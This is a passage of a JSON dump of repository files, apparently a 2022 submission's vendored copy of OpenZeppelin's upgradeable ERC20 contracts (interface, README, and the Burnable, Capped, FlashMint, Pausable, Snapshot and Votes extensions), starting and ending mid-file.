indicating whether the operation succeeded.\n     *\n     * IMPORTANT: Beware that changing an allowance with this method brings the risk\n     * that someone may use both the old and the new allowance by unfortunate\n     * transaction ordering. One possible solution to mitigate this race\n     * condition is to first reduce the spender's allowance to 0 and set the\n     * desired value afterwards:\n     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n     *\n     * Emits an {Approval} event.\n     */\n    function approve(address spender, uint256 amount) external returns (bool);\n\n    /**\n     * @dev Moves `amount` tokens from `sender` to `recipient` using the\n     * allowance mechanism. `amount` is then deducted from the caller's\n     * allowance.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * Emits a {Transfer} event.\n     */\n    function transferFrom(\n        address sender,\n        address recipient,\n        uint256 amount\n    ) external returns (bool);\n\n    /**\n     * @dev Emitted when `value` tokens are moved from one account (`from`) to\n     * another (`to`).\n     *\n     * Note that `value` may be zero.\n     */\n    event Transfer(address indexed from, address indexed to, uint256 value);\n\n    /**\n     * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n     * a call to {approve}. `value` is the new allowance.\n     */\n    event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/README.adoc",
    "content": "= ERC 20\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc20\n\nThis set of interfaces, contracts, and utilities are all related to the https://eips.ethereum.org/EIPS/eip-20[ERC20 Token Standard].\n\nTIP: For an overview of ERC20 tokens and a walk through on how to create a token contract read our xref:ROOT:erc20.adoc[ERC20 guide].\n\nThere a few core contracts that implement the behavior specified in the EIP:\n\n* {IERC20}: the interface all ERC20 implementations should conform to.\n* {IERC20Metadata}: the extended ERC20 interface including the <<ERC20-name,`name`>>, <<ERC20-symbol,`symbol`>> and <<ERC20-decimals,`decimals`>> functions.\n* {ERC20}: the implementation of the ERC20 interface, including the <<ERC20-name,`name`>>, <<ERC20-symbol,`symbol`>> and <<ERC20-decimals,`decimals`>> optional standard extension to the base interface.\n\nAdditionally there are multiple custom extensions, including:\n\n* {ERC20Burnable}: destruction of own tokens.\n* {ERC20Capped}: enforcement of a cap to the total supply when minting tokens.\n* {ERC20Pausable}: ability to pause token transfers.\n* {ERC20Snapshot}: efficient storage of past token balances to be later queried at any point in time.\n* {ERC20Permit}: gasless approval of tokens (standardized as ERC2612).\n* {ERC20FlashMint}: token level support for flash loans through the minting and burning of ephemeral tokens (standardized as ERC3156).\n* {ERC20Votes}: support for voting and vote delegation.\n* {ERC20VotesComp}: support for voting and vote delegation (compatible with Compound's token, with uint96 restrictions).\n* {ERC20Wrapper}: wrapper to create an ERC20 backed by another ERC20, with deposit and withdraw methods. Useful in conjunction with {ERC20Votes}.\n\nFinally, there are some utilities to interact with ERC20 contracts in various ways.\n\n* {SafeERC20}: a wrapper around the interface that eliminates the need to handle boolean return values.\n* {TokenTimelock}: hold tokens for a beneficiary until a specified time.\n\nThe following related EIPs are in draft status.\n\n- {ERC20Permit}\n\nNOTE: This core set of contracts is designed to be unopinionated, allowing developers to access the internal functions in ERC20 (such as <<ERC20-_mint-address-uint256-,`_mint`>>) and expose them as external functions in the way they prefer. On the other hand, xref:ROOT:erc20.adoc#Presets[ERC20 Presets] (such as {ERC20PresetMinterPauser}) are designed using opinionated patterns to provide developers with ready to use, deployable contracts.\n\n== Core\n\n{{IERC20}}\n\n{{IERC20Metadata}}\n\n{{ERC20}}\n\n== Extensions\n\n{{ERC20Burnable}}\n\n{{ERC20Capped}}\n\n{{ERC20Pausable}}\n\n{{ERC20Snapshot}}\n\n{{ERC20Votes}}\n\n{{ERC20VotesComp}}\n\n{{ERC20Wrapper}}\n\n{{ERC20FlashMint}}\n\n== Draft EIPs\n\nThe following EIPs are still in Draft status. Due to their nature as drafts, the details of these contracts may change and we cannot guarantee their xref:ROOT:releases-stability.adoc[stability]. Minor releases of OpenZeppelin Contracts may contain breaking changes for the contracts in this directory, which will be duly announced in the https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/CHANGELOG.md[changelog]. The EIPs included here are used by projects in production and this may make them less likely to change significantly.\n\n{{ERC20Permit}}\n\n== Presets\n\nThese contracts are preconfigured combinations of the above features. They can be used through inheritance or as models to copy and paste their source code.\n\n{{ERC20PresetMinterPauser}}\n\n{{ERC20PresetFixedSupply}}\n\n== Utilities\n\n{{SafeERC20}}\n\n{{TokenTimelock}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20BurnableUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20Upgradeable.sol\";\nimport \"../../../utils/ContextUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of {ERC20} that allows token holders to destroy both their own\n * tokens and those that they have an allowance for, in a way that can be\n * recognized off-chain (via event analysis).\n */\nabstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable {\n    function __ERC20Burnable_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20Burnable_init_unchained();\n    }\n\n    function __ERC20Burnable_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev Destroys `amount` tokens from the caller.\n     *\n     * See {ERC20-_burn}.\n     */\n    function burn(uint256 amount) public virtual {\n        _burn(_msgSender(), amount);\n    }\n\n    /**\n     * @dev Destroys `amount` tokens from `account`, deducting from the caller's\n     * allowance.\n     *\n     * See {ERC20-_burn} and {ERC20-allowance}.\n     *\n     * Requirements:\n     *\n     * - the caller must have allowance for ``accounts``'s tokens of at least\n     * `amount`.\n     */\n    function burnFrom(address account, uint256 amount) public virtual {\n        uint256 currentAllowance = allowance(account, _msgSender());\n        require(currentAllowance >= amount, \"ERC20: burn amount exceeds allowance\");\n        unchecked {\n            _approve(account, _msgSender(), currentAllowance - amount);\n        }\n        _burn(account, amount);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20CappedUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Capped.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20Upgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of {ERC20} that adds a cap to the supply of tokens.\n */\nabstract contract ERC20CappedUpgradeable is Initializable, ERC20Upgradeable {\n    uint256 private _cap;\n\n    /**\n     * @dev Sets the value of the `cap`. This value is immutable, it can only be\n     * set once during construction.\n     */\n    function __ERC20Capped_init(uint256 cap_) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20Capped_init_unchained(cap_);\n    }\n\n    function __ERC20Capped_init_unchained(uint256 cap_) internal onlyInitializing {\n        require(cap_ > 0, \"ERC20Capped: cap is 0\");\n        _cap = cap_;\n    }\n\n    /**\n     * @dev Returns the cap on the token's total supply.\n     */\n    function cap() public view virtual returns (uint256) {\n        return _cap;\n    }\n\n    /**\n     * @dev See {ERC20-_mint}.\n     */\n    function _mint(address account, uint256 amount) internal virtual override {\n        require(ERC20Upgradeable.totalSupply() + amount <= cap(), \"ERC20Capped: cap exceeded\");\n        super._mint(account, amount);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20FlashMintUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20FlashMint.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../../interfaces/IERC3156Upgradeable.sol\";\nimport \"../ERC20Upgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the ERC3156 Flash loans extension, as defined in\n * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].\n *\n * Adds the {flashLoan} method, which provides flash loan support at the token\n * level. By default there is no fee, but this can be changed by overriding {flashFee}.\n *\n * _Available since v4.1._\n */\nabstract contract ERC20FlashMintUpgradeable is Initializable, ERC20Upgradeable, IERC3156FlashLenderUpgradeable {\n    function __ERC20FlashMint_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20FlashMint_init_unchained();\n    }\n\n    function __ERC20FlashMint_init_unchained() internal onlyInitializing {\n    }\n    bytes32 private constant _RETURN_VALUE = keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n\n    /**\n     * @dev Returns the maximum amount of tokens available for loan.\n     * @param token The address of the token that is requested.\n     * @return The amont of token that can be loaned.\n     */\n    function maxFlashLoan(address token) public view override returns (uint256) {\n        return token == address(this) ? type(uint256).max - ERC20Upgradeable.totalSupply() : 0;\n    }\n\n    /**\n     * @dev Returns the fee applied when doing flash loans. By default this\n     * implementation has 0 fees. This function can be overloaded to make\n     * the flash loan mechanism deflationary.\n     * @param token The token to be flash loaned.\n     * @param amount The amount of tokens to be loaned.\n     * @return The fees applied to the corresponding flash loan.\n     */\n    function flashFee(address token, uint256 amount) public view virtual override returns (uint256) {\n        require(token == address(this), \"ERC20FlashMint: wrong token\");\n        // silence warning about unused variable without the addition of bytecode.\n        amount;\n        return 0;\n    }\n\n    /**\n     * @dev Performs a flash loan. New tokens are minted and sent to the\n     * `receiver`, who is required to implement the {IERC3156FlashBorrower}\n     * interface. By the end of the flash loan, the receiver is expected to own\n     * amount + fee tokens and have them approved back to the token contract itself so\n     * they can be burned.\n     * @param receiver The receiver of the flash loan. Should implement the\n     * {IERC3156FlashBorrower.onFlashLoan} interface.\n     * @param token The token to be flash loaned. Only `address(this)` is\n     * supported.\n     * @param amount The amount of tokens to be loaned.\n     * @param data An arbitrary datafield that is passed to the receiver.\n     * @return `true` is the flash loan was successful.\n     */\n    function flashLoan(\n        IERC3156FlashBorrowerUpgradeable receiver,\n        address token,\n        uint256 amount,\n        bytes calldata data\n    ) public virtual override returns (bool) {\n        uint256 fee = flashFee(token, amount);\n        _mint(address(receiver), amount);\n        require(\n            receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,\n            \"ERC20FlashMint: invalid return value\"\n        );\n        uint256 currentAllowance = allowance(address(receiver), address(this));\n        require(currentAllowance >= amount + fee, \"ERC20FlashMint: allowance does not allow refund\");\n        _approve(address(receiver), address(this), currentAllowance - amount - fee);\n        _burn(address(receiver), amount + fee);\n        return true;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20PausableUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20Upgradeable.sol\";\nimport \"../../../security/PausableUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev ERC20 token with pausable token transfers, minting and burning.\n *\n * Useful for scenarios such as preventing trades until the end of an evaluation\n * period, or having an emergency switch for freezing all token transfers in the\n * event of a large bug.\n */\nabstract contract ERC20PausableUpgradeable is Initializable, ERC20Upgradeable, PausableUpgradeable {\n    function __ERC20Pausable_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __Pausable_init_unchained();\n        __ERC20Pausable_init_unchained();\n    }\n\n    function __ERC20Pausable_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev See {ERC20-_beforeTokenTransfer}.\n     *\n     * Requirements:\n     *\n     * - the contract must not be paused.\n     */\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual override {\n        super._beforeTokenTransfer(from, to, amount);\n\n        require(!paused(), \"ERC20Pausable: token transfer while paused\");\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20SnapshotUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Snapshot.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20Upgradeable.sol\";\nimport \"../../../utils/ArraysUpgradeable.sol\";\nimport \"../../../utils/CountersUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and\n * total supply at the time are recorded for later access.\n *\n * This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.\n * In naive implementations it's possible to perform a \"double spend\" attack by reusing the same balance from different\n * accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be\n * used to create an efficient ERC20 forking mechanism.\n *\n * Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a\n * snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot\n * id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id\n * and the account address.\n *\n * NOTE: Snapshot policy can be customized by overriding the {_getCurrentSnapshotId} method. For example, having it\n * return `block.number` will trigger the creation of snapshot at the begining of each new block. When overridding this\n * function, be careful about the monotonicity of its result. Non-monotonic snapshot ids will break the contract.\n *\n * Implementing snapshots for every block using this method will incur significant gas costs. For a gas-efficient\n * alternative consider {ERC20Votes}.\n *\n * ==== Gas Costs\n *\n * Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log\n * n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much\n * smaller since identical balances in subsequent snapshots are stored as a single entry.\n *\n * There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is\n * only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent\n * transfers will have normal cost until the next snapshot, and so on.\n */\n\nabstract contract ERC20SnapshotUpgradeable is Initializable, ERC20Upgradeable {\n    function __ERC20Snapshot_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20Snapshot_init_unchained();\n    }\n\n    function __ERC20Snapshot_init_unchained() internal onlyInitializing {\n    }\n    // Inspired by Jordi Baylina's MiniMeToken to record historical balances:\n    // https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol\n\n    using ArraysUpgradeable for uint256[];\n    using CountersUpgradeable for CountersUpgradeable.Counter;\n\n    // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a\n    // Snapshot struct, but that would impede usage of functions that work on an array.\n    struct Snapshots {\n        uint256[] ids;\n        uint256[] values;\n    }\n\n    mapping(address => Snapshots) private _accountBalanceSnapshots;\n    Snapshots private _totalSupplySnapshots;\n\n    // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.\n    CountersUpgradeable.Counter private _currentSnapshotId;\n\n    /**\n     * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.\n     */\n    event Snapshot(uint256 id);\n\n    /**\n     * @dev Creates a new snapshot and returns its snapshot id.\n     *\n     * Emits a {Snapshot} event that contains the same id.\n     *\n     * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a\n     * set of accounts, for example using {AccessControl}, or it may be open to the public.\n     *\n     * [WARNING]\n     * ====\n     * While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,\n     * you must consider that it can potentially be used by attackers in two ways.\n     *\n     * First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow\n     * logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target\n     * specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs\n     * section above.\n     *\n     * We haven't measured the actual numbers; if this is something you're interested in please reach out to us.\n     * ====\n     */\n    function _snapshot() internal virtual returns (uint256) {\n        _currentSnapshotId.increment();\n\n        uint256 currentId = _getCurrentSnapshotId();\n        emit Snapshot(currentId);\n        return currentId;\n    }\n\n    /**\n     * @dev Get the current snapshotId\n     */\n    function _getCurrentSnapshotId() internal view virtual returns (uint256) {\n        return _currentSnapshotId.current();\n    }\n\n    /**\n     * @dev Retrieves the balance of `account` at the time `snapshotId` was created.\n     */\n    function balanceOfAt(address account, uint256 snapshotId) public view virtual returns (uint256) {\n        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);\n\n        return snapshotted ? value : balanceOf(account);\n    }\n\n    /**\n     * @dev Retrieves the total supply at the time `snapshotId` was created.\n     */\n    function totalSupplyAt(uint256 snapshotId) public view virtual returns (uint256) {\n        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);\n\n        return snapshotted ? value : totalSupply();\n    }\n\n    // Update balance and/or total supply snapshots before the values are modified. This is implemented\n    // in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations.\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual override {\n        super._beforeTokenTransfer(from, to, amount);\n\n        if (from == address(0)) {\n            // mint\n            _updateAccountSnapshot(to);\n            _updateTotalSupplySnapshot();\n        } else if (to == address(0)) {\n            // burn\n            _updateAccountSnapshot(from);\n            _updateTotalSupplySnapshot();\n        } else {\n            // transfer\n            _updateAccountSnapshot(from);\n            _updateAccountSnapshot(to);\n        }\n    }\n\n    function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) {\n        require(snapshotId > 0, \"ERC20Snapshot: id is 0\");\n        require(snapshotId <= _getCurrentSnapshotId(), \"ERC20Snapshot: nonexistent id\");\n\n        // When a valid snapshot is queried, there are three possibilities:\n        //  a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never\n        //  created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds\n        //  to this id is the current one.\n        //  b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the\n        //  requested id, and its value is the one to return.\n        //  c) More snapshots were created after the requested one, and the queried value was later modified. There will be\n        //  no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is\n        //  larger than the requested one.\n        //\n        // In summary, we need to find an element in an array, returning the index of the smallest value that is larger if\n        // it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does\n        // exactly this.\n\n        uint256 index = snapshots.ids.findUpperBound(snapshotId);\n\n        if (index == snapshots.ids.length) {\n            return (false, 0);\n        } else {\n            return (true, snapshots.values[index]);\n        }\n    }\n\n    function _updateAccountSnapshot(address account) private {\n        _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));\n    }\n\n    function _updateTotalSupplySnapshot() private {\n        _updateSnapshot(_totalSupplySnapshots, totalSupply());\n    }\n\n    function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {\n        uint256 currentId = _getCurrentSnapshotId();\n        if (_lastSnapshotId(snapshots.ids) < currentId) {\n            snapshots.ids.push(currentId);\n            snapshots.values.push(currentValue);\n        }\n    }\n\n    function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {\n        if (ids.length == 0) {\n            return 0;\n        } else {\n            return ids[ids.length - 1];\n        }\n    }\n    uint256[46] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20VotesCompUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20VotesComp.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20VotesUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of ERC20 to support Compound's voting and delegation. This version exactly matches Compound's\n * interface, with the drawback of only supporting supply up to (2^96^ - 1).\n *\n * NOTE: You should use this contract if you need exact compatibility with COMP (for example in order to use your token\n * with Governor Alpha or Bravo) and if you are sure the supply cap of 2^96^ is enough for you. Otherwise, use the\n * {ERC20Votes} variant of this module.\n *\n * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either\n * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting\n * power can be queried through the public accessors {getCurrentVotes} and {getPriorVotes}.\n *\n * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it\n * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.\n * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this\n * will significantly increase the base gas cost of transfers.\n *\n * _Available since v4.2._\n */\nabstract contract ERC20VotesCompUpgradeable is Initializable, ERC20VotesUpgradeable {\n    function __ERC20VotesComp_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev Comp version of the {getVotes} accessor, with `uint96` return type.\n     */\n    function getCurrentVotes(address account) external view returns (uint96) {\n        return SafeCastUpgradeable.toUint96(getVotes(account));\n    }\n\n    /**\n     * @dev Comp version of the {getPastVotes} accessor, with `uint96` return type.\n     */\n    function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96) {\n        return SafeCastUpgradeable.toUint96(getPastVotes(account, blockNumber));\n    }\n\n    /**\n     * @dev Maximum token supply. Reduced to `type(uint96).max` (2^96^ - 1) to fit COMP interface.\n     */\n    function _maxSupply() internal view virtual override returns (uint224) {\n        return type(uint96).max;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20VotesUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Votes.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./draft-ERC20PermitUpgradeable.sol\";\nimport \"../../../utils/math/MathUpgradeable.sol\";\nimport \"../../../utils/math/SafeCastUpgradeable.sol\";\nimport \"../../../utils/cryptography/ECDSAUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,\n * and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.\n *\n * NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.\n *\n * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either\n * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting\n * power can be queried through the public accessors {getVotes} and {getPastVotes}.\n *\n * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it\n * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.\n * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this\n * will significantly increase the base gas cost of transfers.\n *\n * _Available since v4.2._\n */\nabstract contract ERC20VotesUpgradeable is Initializable, ERC20PermitUpgradeable {\n    function __ERC20Votes_init_unchained() internal onlyInitializing {\n    }\n    struct Checkpoint {\n        uint32 fromBlock;\n        uint224 votes;\n    }\n\n    bytes32 private constant _DELEGATION_TYPEHASH =\n        keccak256(\"Delegation(address delegatee,uint256 nonce,uint256 expiry)\");\n\n    mapping(address => address) private _delegates;\n    mapping(address => Checkpoint[]) private _checkpoints;\n    Checkpoint[] private _totalSupplyCheckpoints;\n\n    /**\n     * @dev Emitted when an account changes their delegate.\n     */\n    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);\n\n    /**\n     * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.\n     */\n    event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);\n\n    /**\n     * @dev Get the `pos`-th checkpoint for `account`.\n     */\n    function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {\n        return _checkpoints[account][pos];\n    }\n\n    /**\n     * @dev Get number of checkpoints for `account`.\n     */\n    function numCheckpoints(address account) public view virtual returns (uint32) {\n        return SafeCastUpgradeable.toUint32(_checkpoints[account].length);\n    }\n\n    /**\n     * @dev Get the address `account` is currently delegating to.\n     */\n    function delegates(address account) public view virtual returns (address) {\n        return _delegates[account];\n    }\n\n    /**\n     * @dev Gets the current votes balance for `account`\n     */\n    function getVotes(address account) public view returns (uint256) {\n        uint256 pos = _checkpoints[account].length;\n        return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;\n    }\n\n    /**\n     * @dev Retrieve the number of votes for `account` at the end of `blockNumber`.\n     *\n     * Requirements:\n     *\n     * - `blockNumber` must have been already mined\n     */\n    function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {\n        require(blockNumber < block.number, \"ERC20Votes: block not yet mined\");\n        return _checkpointsLookup(_checkpoints[account], blockNumber);\n    }\n\n    /**\n     * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.\n     * It is but NOT the sum of all the delegated votes!\n     *\n     * Requirements:\n     *\n     * - `blockNumber` must have been already mined\n     */\n    function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {\n        require(blockNumber < block.number, \"ERC20Votes: block not yet mined\");\n        return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);\n    }\n\n    /**\n     * @dev Lookup a value in a list of (sorted) checkpoints.\n     */\n    function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {\n        // We run a binary search to look for the earliest checkpoint taken after `blockNumber`.\n        //\n        // During the loop, the index of the wanted checkpoint remains in the range [low-1, high).\n        // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.\n        // - If the middle checkpoint is after `blockNumber`, we look in [low, mid)\n        // - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high)\n        // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not\n        // out of bounds (in which case we're looking too far in the past and the result is 0).\n        // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is\n        // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out\n        // the same.\n        uint256 high = ckpts.length;\n        uint256 low = 0;\n        while (low < high) {\n            uint256 mid = MathUpgradeable.average(low, high);\n            if (ckpts[mid].fromBlock > blockNumber) {\n                high = mid;\n            } else {\n                low = mid + 1;\n            }\n        }\n\n        return high == 0 ? 0 : ckpts[high - 1].votes;\n    }\n\n    /**\n     * @dev Delegate votes from the sender to `delegatee`.\n     */\n    function delegate(address delegatee) public virtual {\n        _delegate(_msgSender(), delegatee);\n    }\n\n    /**\n     * @dev Delegates votes from signer to `delegatee`\n     */\n    function delegateBySig(\n        address delegatee,\n        uint256 nonce,\n        uint256 expiry,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual {\n        require(block.timestamp <= expiry, \"ERC20Votes: signature expired\");\n        address signer = ECDSAUpgradeable.recover(\n            _hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),\n            v,\n            r,\n            s\n        );\n        require(nonce == _useNonce(signer), \"ERC20Votes: invalid nonce\");\n        _delegate(signer, delegatee);\n    }\n\n    /**\n     * @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).\n     */\n    function _maxSupply() internal view virtual returns (uint224) {\n        return type(uint224).max;\n    }\n\n    /**\n     * @dev Snapshots the totalSupply after it has been increased.\n     */\n    function _mint(address account, uint256 amount) internal virtual override {\n        super._mint(account, amount);\n        require(totalSupply() <= _maxSupply(), \"ERC20Votes: total supply risks overflowing votes\");\n\n        _writeCheckpoint(_totalSupplyCheckpoints, _add, amount);\n    }\n\n    /**\n     * @dev Snapshots the totalSupply after it has been decreased.\n     */\n    function _burn(address account, uint256 amount) internal virtual override {\n        super._burn(account, amount);\n\n        _writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount);\n    }\n\n    /**\n     * @dev Move voting power when tokens are transferred.\n     *\n     * Emits a {DelegateVotesChanged} event.\n     */\n    function _afterTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual override {\n        super._afterTokenTransfer(from, to, amount);\n\n        _moveVotingPower(delegates(from), delegates(to), amount);\n    }\n\n    /**\n     * @dev Change delegation for `delegator` to `delegatee`.\n     *\n     * Emits events {DelegateChanged} and {DelegateVotesChanged}.\n     */\n    function _delegate(address delegator, address delegatee) internal virtual {\n        address currentDelegate = delegates(delegator);\n        uint256 delegatorBalance = balanceOf(delegator);\n        _delegates[delegator] = delegatee;\n\n        emit DelegateChanged(delegator, currentDelegate, delegatee);\n\n        _moveVotingPower(currentDelegate, delegatee, delegatorBalance);\n    }\n\n    function _moveVotingPower(\n        address src,\n        address dst,\n        uint256 amount\n    ) private {\n        if (src != dst && amount > 0) {\n            if (src != address(0)) {\n                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount);\n                emit DelegateVotesChanged(src, oldWeight, newWeight);\n            }\n\n            if (dst != address(0)) {\n                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount);\n                emit DelegateVotesChanged(dst, oldWeight, newWeight);\n            }\n        }\n    }\n\n    function _writeCheckpoint(\n        Checkpoint[] storage ckpts,\n        function(uint256, uint256) view returns (uint256) op,\n        uint256 delta\n    ) private returns (uint256 oldWeight, uint256 newWeight) {\n        uint256 pos = ckpts.length;\n        oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;\n        newWeight = op(oldWeight, delta);\n\n        if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {\n            ckpts[pos - 1].votes = 